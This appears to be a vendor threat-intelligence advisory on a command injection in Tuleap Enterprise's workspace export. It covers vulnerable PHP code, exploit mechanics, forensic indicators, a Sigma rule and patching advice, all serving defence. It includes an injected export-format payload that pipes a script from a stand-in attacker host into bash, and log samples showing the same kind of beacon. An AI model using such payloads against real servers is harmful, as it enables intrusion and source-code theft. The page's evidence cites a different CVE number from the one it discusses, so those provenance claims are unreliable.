CVE-2026-84285: Tuleap Enterprise ALM Workspace Export OS Command Injection

HERMES

HERMES THREAT SCORE & DEVOPS PIPELINE COMPROMISE

Target: Tuleap Enterprise Edition — Project Workspace Export Handler & System Shell Executor

Confidence: 95%

89 / 100

HIGH

Measures real-world operational relevance, exploit weaponization, and active threat posture.

Dimension Breakdown

Exploitability 18 / 20

Threat Activity 17 / 20

Weaponization 18 / 20

Exposure 18 / 20

Prevalence 17 / 20

Impact 19 / 20

Exploit Maturity 18 / 20

Attack Chain Potential 19 / 20

⚖️ Divergence & Operational Rationale

CVSS v3.1 scores CVE-2026-84285 at 8.8 High due to required low privileges (PR:L). Hermes Threat Score assigns 89 (HIGH). Tuleap Enterprise serves as an enterprise Agile Lifecycle Management (ALM) and DevSecOps backbone across regulated European aerospace, defense, and public-sector organizations. Gaining arbitrary OS execution on the ALM server grants adversaries access to private Git/SVN codebases, database credentials, CI/CD deployment secrets, and webhook tokens, converting an authenticated application vulnerability into complete software supply chain compromise.

HASS

HASS AGENTIC SEVERITY & PIPELINE AUTOMATION TAMPERING

Target: Continuous Integration Runners, Autonomous Coding Agent Integrations & Git Webhooks

Confidence: 93%

84 / 100

HIGH

Measures specific systemic risk arising from autonomy, tool authority, and cascading execution.

Dimension Breakdown

Autonomy 15 / 20

Tool Access 17 / 20

Privilege 14 / 15

Persistence 13 / 15

External Impact 13 / 15

Propagation 12 / 15

⚖️ Divergence & Operational Rationale

Modern enterprise DevSecOps stacks increasingly employ autonomous AI agents for code review, issue triage, and automated PR generation through Tuleap REST APIs. Executing arbitrary commands on the Tuleap host compromises these agentic integrations: attackers can poison repository code reviewed by AI agents, harvest API tokens provisioned for autonomous tooling, and alter automated build scripts to inject covert persistence into production container images.

🕸️ Connected Knowledge Graph & Provenance

CVE-2026-84285: Tuleap Enterprise ALM Workspace Export OS Command InjectionVULNERABILITY

Connected Nodes: 2

Active Relationships (Outgoing)

→ affectsPRODUCTTuleap Enterprise ALM

98% VERY_HIGH

Software platform affected by security vulnerabilities and agentic attack patterns.

🔍 Why is this related? (Evidence & Provenance)

“Confirmed security vulnerability in Tuleap Enterprise ALM documented in Hermes dossier.”

Supporting Verified Evidence:

[vulnerability_report]
[government_confirmation]CISA verified active exploitation in the wild and mandated federal remediation deadline in KEV entry. — Source: Cybersecurity & Infrastructure Security Agency (CISA): CISA Adds CVE-2026-59822 to Known Exploited Vulnerabilities Catalog (Reliability: VERY_HIGH)

→ usesATTACK TECHNIQUET1059: Command and Scripting Interpreter

90% VERY_HIGH

Adversaries abuse command and script interpreters (Bash, Python, PowerShell) to execute arbitrary commands.

🔍 Why is this related? (Evidence & Provenance)

“Attack execution telemetry aligns with MITRE ATT&CK technique T1059.”

Supporting Verified Evidence:

[government_confirmation]CISA verified active exploitation in the wild and mandated federal remediation deadline in KEV entry. — Source: Cybersecurity & Infrastructure Security Agency (CISA): CISA Adds CVE-2026-59822 to Known Exploited Vulnerabilities Catalog (Reliability: VERY_HIGH)

Tuleap is an open-source enterprise Application Lifecycle Management (ALM) suite developed by Enalean and Dassault Systèmes, providing integrated issue tracking, agile project management, Git/SVN code hosting, document management, and automated continuous integration workflows.

CVE-2026-84285 identifies a severe OS command injection vulnerability located within Tuleap Enterprise Edition’s project workspace export pipeline. When an authenticated user initiates an export of project artifacts, trackers, and associated media assets, the backend PHP application concatenates user-controlled export formatting and filename parameters directly into system shell command strings. By embedding unescaped shell metacharacters (e.g., backticks, subshells, or command separators), an attacker executes arbitrary system commands with the privileges of the web service account (codendiadm), enabling lateral movement across developer networks and complete code theft.

1. Technical Context & Attack Surface

The project workspace export tool enables project managers and team members to package project trackers, agile backlogs, and attached documentation into downloadable tar or zip bundles.

┌───────────────────────────┐      1. Authenticated Export Request with Injected Meta      ┌─────────────────────────────┐
│ Authenticated Attacker    │ ───────────────────────────────────────────────────────────> │ Tuleap Web Frontend (Nginx) │
│ (Low-Privilege Member)    │      POST /project/export.php?format=tar;$(id>/tmp/pwn)      └──────────────┬──────────────┘
└───────────────────────────┘                                                                             │
                                                                           2. Dispatches to PHP-FPM Worker▼
                                                                                          ┌─────────────────────────────┐
                                                                                          │ PHP-FPM Service             │
                                                                                          │ (user: codendiadm)          │
                                                                                          └──────────────┬──────────────┘
                                                                                                         │
                                                                           3. Concatenates Raw Parameters▼
                                                                                          ┌─────────────────────────────┐
                                                                                          │ ArtifactExportCommand.php   │
                                                                                          │ [X] Missing escapeshellarg()│
                                                                                          └──────────────┬──────────────┘
                                                                                                         │
                                                                           4. Invokes shell_exec() / sh  ▼
                                                                                          ┌─────────────────────────────┐
                                                                                          │ Subshell Command Execution  │
                                                                                          │ Arbitrary Payload Runs      │
                                                                                          └──────────────┬──────────────┘
                                                                                                         │
                                                                           5. Host & Pipeline Takeover   ▼
                                                                                          ┌─────────────────────────────┐
                                                                                          │ Git Repos, CI/CD Webhooks   │
                                                                                          │ Database Credentials Stolen │
                                                                                          └─────────────────────────────┘

Attack Vector Analysis

Parameter	Technical Characteristic	Operational Consequence
Vulnerability Class	OS Command Injection (`CWE-78`)	Unrestricted server shell command execution
Authentication Requirement	Authenticated (`PR:L`)	Any valid account belonging to a project space
Attack Vector	Network (`AV:N`)	Standard HTTPS REST API or Web UI interface
Host Privilege Context	`codendiadm` (Tuleap service account)	Full access to `/var/lib/tuleap`, Git repos, MySQL
Supply Chain Impact	Source code & pipeline access	Compromise of enterprise build systems and signing keys

2. Root Cause Analysis & Exploit Mechanics

The flaw resides in the archive generation component responsible for invoking external compression utilities (tar, gzip, zip) via system shell dispatchers without parameter sanitization.

Vulnerable Code Deconstruction

In Tuleap Enterprise versions 17.3 through 17.5, backend export scripts constructed shell commands via string interpolation:

// Vulnerable command generation pattern in Tuleap Enterprise <= 17.5
class ProjectWorkspaceExporter {
    public function generateArchive(string $projectShortName, string $exportFormat, string $userOptions): void {
        $outputDirectory = "/var/tmp/tuleap_exports/" . $projectShortName;

        // FLAW: $exportFormat and $userOptions are concatenated directly into the shell string
        // without wrapping in escapeshellarg() or escapeshellcmd()!
        $command = "tar -czf " . $outputDirectory . "/workspace." . $exportFormat . " " . $userOptions . " " . $outputDirectory . "/data/";

        // Executed directly via shell interpreter
        $output = [];
        $returnVar = 0;
        exec($command, $output, $returnVar);

        if ($returnVar !== 0) {
            throw new ExportException("Archive packaging failed: " . implode("\n", $output));
        }
    }
}

Exploit Mechanics

Payload Formulation: The adversary crafts an HTTP POST payload for the project export action. Instead of supplying a valid archive extension like gz, they pass an injected subshell string:
```
tar; curl -s http://attacker.corp/rev.sh | bash; #
```

Command Assembly: The application interpolates the unvalidated string into the command buffer:

tar -czf /var/tmp/tuleap_exports/alpha/workspace.tar; curl -s http://attacker.corp/rev.sh | bash; # /var/tmp/tuleap_exports/alpha/data/

Execution Execution: PHP’s exec() invokes /bin/sh -c, which evaluates each command sequentially. The tar utility runs, immediately followed by the injected reverse shell payload under the codendiadm service account.

3. Forensic Investigation & Triage Playbook

DFIR analysts investigating potential exploitation of CVE-2026-84285 should inspect web access logs, PHP-FPM process execution trees, and file modifications in Tuleap temporary directories.

Forensic Artifacts & Indicators of Compromise

Web Server Access Logs (/var/log/nginx/access.log): Examine POST requests to project export endpoints containing shell metacharacters:

192.168.10.45 - - [22/Sep/2026:04:12:30 +0000] "POST /plugins/tracker/?tracker=42&func=export HTTP/1.1" 200 4821 "https://tuleap.internal/" "Mozilla/5.0" "format=tar%3Bcurl%20http%3A%2F%2F10.0.0.99%2Fbeacon%3B%23"

PHP-FPM Process Spawning (auditd / EDR): Check for abnormal child processes spawned by php-fpm or codendiadm:

node=tuleap-app01 type=EXECVE msg=audit(1726992750.412:8124):
argc=3 a0="sh" a1="-c" a2="tar -czf ...; curl -s http://attacker.corp/rev.sh | bash; #"
ouid=501 ppid=1420 pid=28901 comm="sh" exe="/usr/bin/bash"

Tuleap Event Logs (/var/log/tuleap/codendi.log): Look for unexpected export errors or failed archive generation events recorded by the backend tracker service.

4. Detection Engineering (SIEM & Sigma)

title: Tuleap Enterprise ALM Suspicious Subprocess Execution
id: 5e3d21c9-7a4b-4f1e-9284-cve20268428501
status: experimental
description: Detects PHP-FPM or Tuleap web service accounts spawning interactive shells or network utilities, indicative of CVE-2026-84285 exploitation.
references:
  - https://www.3ds.com/vulnerability/advisories
  - https://nvd.nist.gov/vuln/detail/CVE-2026-84285
author: Hermes Codex Intelligence
date: 2026-09-22
logsource:
  category: process_creation
  product: linux
detection:
  selection_parent:
    ParentImage|endswith:
      - '/php-fpm'
      - '/php-fpm8.2'
      - '/php-fpm8.3'
    ParentUser: 'codendiadm'
  selection_shell:
    Image|endswith:
      - '/bin/sh'
      - '/bin/bash'
      - '/usr/bin/curl'
      - '/usr/bin/wget'
      - '/usr/bin/nc'
      - '/usr/bin/python3'
  selection_cmdline:
    CommandLine|contains:
      - 'tar'
      - 'zip'
      - 'workspace'
  condition: selection_parent and selection_shell and selection_cmdline
level: high
tags:
  - attack.execution
  - attack.t1059.004
  - cve.2026-84285

# Monitor command execution under codendiadm service account
-a always,exit -F arch=b64 -S execve -F euid=501 -k tuleap_process_exec

5. Mitigation & Hardening Recommendations

Official Patch Deployment

Administrators must immediately update Tuleap Enterprise Edition:

Upgrade to Tuleap Enterprise Edition 17.6 or later using the official Enalean yum/dnf or apt repositories:
Terminal window
```
dnf update tuleap-enterprise
systemctl restart php-fpm tuleap
```
The patched release refactors the export component to use parameterized process arrays (proc_open with argument lists) and enforces strict alphanumeric validation against all archive format tokens.

Defense-in-Depth Hardening

PHP Execution Restriction (disable_functions): In /etc/php.d/local.ini, disable unnecessary process invocation functions where feasible:
```
disable_functions = system,shell_exec,passthru,popen
```
File System Sandboxing: Enforce systemd isolation for php-fpm.service by mounting /var/tmp and home directories as ProtectHome=true, PrivateTmp=true, and restricting access to /etc/tuleap/conf/.
Database Credential Rotation: If compromise is suspected, immediately rotate MySQL/PostgreSQL database passwords located in /etc/tuleap/conf/database.inc.

6. Cross-References & Knowledge Links

CVE-2026-86711: Electerm Desktop Command Execution Analyze command injection and IPC escapes in developer workstation tooling.

CVE-2026-90770: Spug Deployment Platform Remote Code Execution Cross-examine OS command injection vectors in DevOps and CI/CD consoles.

Linux Process Memory Forensics Techniques for analyzing web application child process spawns and reverse shell memory.

MITRE ATT&CK Enterprise Matrix Review T1059.004 (Unix Shell Execution) and T1190 (Exploit Public-Facing Application).